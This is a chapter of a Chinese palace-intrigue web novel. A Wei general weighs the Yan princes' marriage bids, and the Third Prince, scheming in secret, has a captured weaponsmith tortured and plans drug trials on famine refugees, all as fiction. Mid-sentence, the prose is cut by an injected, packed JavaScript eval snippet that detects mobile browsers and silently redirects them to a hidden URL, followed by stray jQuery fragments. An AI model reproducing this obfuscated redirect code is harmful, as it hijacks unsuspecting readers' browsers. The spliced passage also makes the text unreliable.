110. 第三十二章 蠹居棊处
作品:《游龙记》 “今日比试如何?”付清玉问道。
“比了十来场,获胜的基本都是皇室子弟和皇室姻亲,有几个是朝中官员和大将举荐的亲属,不过与韩大人所言差不多,基本上都是为各位皇子铺路的。”
“至于文试那边,韩大人今日出的题目是春日,要求赋诗一首。大部分参赛者都能完成。”
“嗯。”付清玉随意应着。
屋内一时安静了下来,见少渊不说话,她抬起头看了一眼,道:“你想说什么便说。”
少渊道:“属下斗胆,不知将军和韩大人属意哪位皇子?”
付清玉将最后一字写完,顺手将笔置于砚台上,一边轻轻吹干纸上的墨渍一边道:
“也没有特别属意谁,不过我知道谁不会是驸马。”
她笑了笑,面对少渊疑惑的神色,继续道:
“首先定西王不可能,范氏掌管护国军,目前来看兵力是燕国最强的,六卫营虽加起来人更多,却并不团结,这几年来早已被几位皇子分化得差不多了。所以定西王才最受燕帝忌惮,他们现在已经是被架在火上烤,若再做了驸马,得了我大尉的支持,即使只是一星半点,那燕国也容不下他们了。”
“永乐王虽说也参选,不过贬妻为妾,即使面上功夫做得再好看,终归有违人伦,先天便输了场,公主只要脑子清醒也定不会嫁给他,况且他本就不受宠,即使第一位封王,又貌似得了些支持,其实并无实际的竞争资本。现在与我们攀上点关系,不过也是想借势而已。”
“这两位既然不可能娶公主为何又要参加选亲呢?”少渊问到。
“他们不娶,却也不想让剩下的两位娶,参加选亲不过是想将水搅浑罢了。”付清玉又道:
“崇明王不参选,派了魏无殇的第四子魏桐,魏氏四子,成器的是一个都没有,在仕林中也不过是虚名,一国之争,只靠这点嘴皮子功夫,吵得赢也打不赢,魏无殇乃枭雄也,在燕国仕林中屹立不倒几十年,门生遍布朝野,朝中文官多支持他,而且此人心思缜密,六卫营中,必定也有他们的人,若成了驸马,说不定还能有与我们合作的机会,得了大尉的支持,他便再也不惧威北侯府。”
“四皇子虽未封王,可却是燕帝最属意的下一任帝王人选,又有个荣宠不衰的母妃,看着光鲜锦绣,可惜即使燕帝再喜欢,内无朝堂支持,外无军队协助,其实是最弱的一个,而且他还有个蠢娘,自以为儿子高贵,总想着待价而沽,却错失了最好的机会。辛贵妃看不上霄云清,想着用未来的后位换个好价钱,没成想四皇子根本不被各方势力看好。所以,现在他们是最着急的一个。”
“您是希望四皇子获胜?”少渊问道。
“三足鼎立,那三只脚现在太稳固了,若我们能插进这第四足,把这里的水彻底搅浑,燕国无惧也。霄云清身份特殊,嫁给前头那三位,将来都有可能成为我尉国心腹大患。只有这四皇子嘛……”
付清玉笑笑,不再言语,少渊却懂了她的意思,只有四皇子势力薄弱,除了燕帝那轻飘飘的宠爱,没有任何逐鹿的资本,娶公主的目的不过就是为了得到尉国支持,若霄云清有什么别样的心思,他们第一个便不会答应。
还有一些话付清玉却没有说,每个人都关心哪位皇子会成为下一任的燕王,可付清玉清楚,只要韩晔在一日,燕国就不可能长久得了,终究会土崩瓦解,到时,便是她大尉蚕食燕国的最好时机!所以,她也要在这里插上一脚,除了兑现与韩晔的承诺,还有为尉国将来能瓜分这块肥肉先下一注!
“只是,”付清玉轻皱眉头:“这位三皇子有些意思,明面上似乎没有什么势力,又一副为皇位勉力一搏的架势,看着又弱又滑稽,可是却能在另外两位的夹击下生存至今,看着最弱,可我总觉得,他或许没那么简单,兴许是在……藏拙?”
一位能把自己的名声都踩在脚下的人,会像看起来的那么无害吗?他那两位哥哥只顾着缠斗,眼里只看到对方和那位受宠的四皇子,兴许真正的危险就藏于暗处也不一定。
瓮山的事情,透着诡异,那宋鳄和赖孙可不是无名之辈,却都同时效力于一人,那人行事如此诡谲,总让她有种隐隐的不安。
会是,这几位之一吗?
********
幽暗通道中,一名男子沿着路往前走。不到一盏茶的功夫,便走进了一间宽阔的大殿,殿的四面墙和穹顶均用石料砌成,周围没有一丝光线投入,也不知道现在是白天还是黑夜,大殿四周点着火烛,照得这个殿内光影摇曳,幽深异常。
男子走到殿中,对着端坐高台上身披黑色斗篷的人行了一礼。
“主子。”
“司马岳那边有什么进展吗?”
“还是老样子,十天半个月才做那么几只弓弩,根本无法大量制造。”
“其他司马家的人呢?有人学会了吗?”坐着的男子声音有些微变化,似乎心情不太好。
“都是些皮毛,”男子摇了摇头,道:“我让他们试着做了一些,弩箭射程和准头只比一般的弓箭好一些,一次也只能装填两枚箭枝,远不如尉国墨羽营的精良。不过我们流了些到黑市中,一般的商贾反响倒是蛮好,卖得出价。”
砰的一声,男子一掌击在扶手上,声音微韫:“我要卖给那些商人干什么?能得几个钱?!装备不到我们自己的军队中,都是废物!”
“是!”男子见他生气,马上接口道:“我定再严审司马岳,务必让他画出弓弩和其他兵器的图纸!”
“算了,”上首的人道:“你都把他的一只手砍下来了也没能让他屈服,再逼供还能问出点什么?”
男子自知办事不力,跪在地上不敢再言语。
“上次潜入宅院的人查到是谁了吗?”
“属下失职。”
上首的人沉默了一阵,语气带上了森然,道:
“你下去吧,再安排司马家的人去看着司马岳制作,能学多少算多少,给他们半个月时间,告诉他们,如果他们学不会,对我就没有价值了,到时候便与司马岳一起共赴黄泉。”
“遵命!”
男子应道,转身走向了通道。
男子走后没多久,从大殿内阴暗的角落中响起一声叹息:
“可惜,抓了司马岳那么久,始终没能得到司马家的图纸。”
一名身着黑袍的大汉从刚才似乎空无一人的角落里走出,此人身形高大彪悍,脸型方正,目中神光四溢,赫然正是魔道巨擎宋鳄。
“好在赖孙的研制有了进展,吃了圣心散的人,能极大地提升体力、耐力和嗜血程度,而且只要配合赖孙的办法,就可以对他们进行控制,再一段时间,应可投入军中使用了,不过此物终究是透支人体的极限,使用过一次后便会元气大伤,即使身体强壮之人,三次之后也将药石无医。”
高坐上方的男子摘下兜帽,露出一张清秀温和的脸庞,赫然正是燕国三皇子祁景新,此刻他双目紧闭,听到宋鳄这话后睁开了双眼,目中精光一闪,让他原本看起来有些平凡懦弱的面相显得异常狠辣。
“三次?”祁景新皱眉,道:“实用价值太低了,军队成了消耗品,又能打几次仗!让他抓紧时间,再多找些人来试药!”
宋鳄点了点头,对祁景新道:“殿下,尉国的付清玉已经跑到繁城来了,难道是在瓮山中发现了什么?”
“我看未必,”这时旁边响起了另一个声音,一直站在祁景新身后的一名男子说道:“几年前在繁城这女人便以汇源钱庄的名义投了钱给殿下,此时她在尉国已稳坐高台,说不定这次是来验成果的。”
这男子身材矮小,脸色苍白,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158615|175432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正是祁景新的幕僚方白。
他对着祁景新说道:“殿下,这女人不可小觑,原就以汇源钱庄的名义在我国朝堂收买官员,虽然动作都很隐秘,可其心不小,现在她在尉国地位已稳固,想来这次出使我燕国,必定不止是为公主送亲那么简单。”
祁景新点点头,他与付清玉有过几面之缘,几年前也派人暗地里调查过她的身份,此女子竟凭一只墨羽军带着一个过气世子便能篡位成功,期间各种手段,联合分化尉国朝堂军队,一手先帝遗诏,前帝后大殿陈情,便逆转乾坤,让四阎王最强的摩易师出无名,坐实了明帝尉国正统的身份。仅八千墨羽营伪装成燕军就让汤云迪闭城不出,最后竟还让人在城中掀起军变,汤云迪在自己军营中还被人暗杀了。
这女子心智手段胆量真可谓女中豪杰也。让他也佩服不已,此人不可轻易为敌!
“宋大家,你在瓮山见到的无影针,真的是她?”祁景新对一旁的宋鳄问道。
“应该是她。”宋鳄点了点头。他也没想过金榜第九的无影针竟然是尉国的大将。
“殿下,您说,她该不是为了司马岳来的吧?”方白不放心地道。
祁景新听罢,皱起了眉头。
“此话怎讲?”
“传闻兵主之家一直秘密在为付清玉炼制兵器,她的亲卫营和前锋营所用弩箭皆与我们在研制的相似,不过却威力更大。如今兵主之家已被我等剿灭,您说她会不会是来找寻司马岳的踪迹的?”
祁景新听罢眉头紧锁,沉吟了一下,道:“选亲之后,若还是无法让他画出兵器图纸,就把他杀了吧,别留下后患。”
这司马岳就是在瓮山偶然擒获,本就他计划之外,只是他见了那些精良的兵器起了惜才的心思,若此人真能引来付清玉,对此时的他而言,绝非幸事!
“若司马岳如此重要,不如把他当成让付清玉与我们合作的筹码?”宋鳄提议道。
“不可!”方白忙道:“且不论这司马岳是否有这个重要性,若让其知晓司马岳的存在,必定知道瓮山之事乃我等所为,这会大大打乱殿下的计划。我们此时势力还不及那两位皇子,还需韬光养晦,以待后续。”
宋鳄听罢,认同地点了点头。
方白又道:“瓮山之事隐蔽,付清玉或许还不知道司马岳在我们手中,殿下不如趁机寻求与她的合作,毕竟汇源钱庄往您身上投入了不少钱,付清玉也许想把注压到您身上。”
“方先生此计甚好,”祁景新笑道:“现在我已是三王之一,付清玉若想收回成本,继续合作也是不错的选择。”
“还有一事,”方白继续道:“这段时间,定西王殿下的人似乎一直在查洪川卫营,还派人赶往了卫营驻地所在的洪川府。”
“哦?竟有此事?知道是怎么回事吗?”祁景新问道。
“详细的不知,不过我已派人快马加鞭同样赶往洪川府秘密调查。”
“你做得好,有消息第一时间回禀我。”
“是。”方白应道。
“宋大家,赖孙那边要劳烦你盯紧一些,庆城、岚城那边因饥荒汇集了许多难民,你让赖孙安排下,让人在那边试药。”
“这两城离着繁城不算太远,在那边试药是不是太冒险了?”宋鳄犹豫道。
祁景新呵呵一笑:“无妨,即使出了事,只要你们做得干净,谁又能想到我这个在繁城不惜贬妻为妾,不遗余力参加公主选亲的永乐王呢。”
永乐王,外家无权,岳父只是一个商部主事,朝中支持者甚少,身边汇集的都是些商贾之流,另外两位王爷也从不把他放在眼里、当成对手,即使做了些什么,也不会有人怀疑到他的头上。再者,岚城附近就驻扎着护国军的虎山营,定西王殿下又一向与江湖中人往来甚密,出现些江湖中的药物,再正常不过了……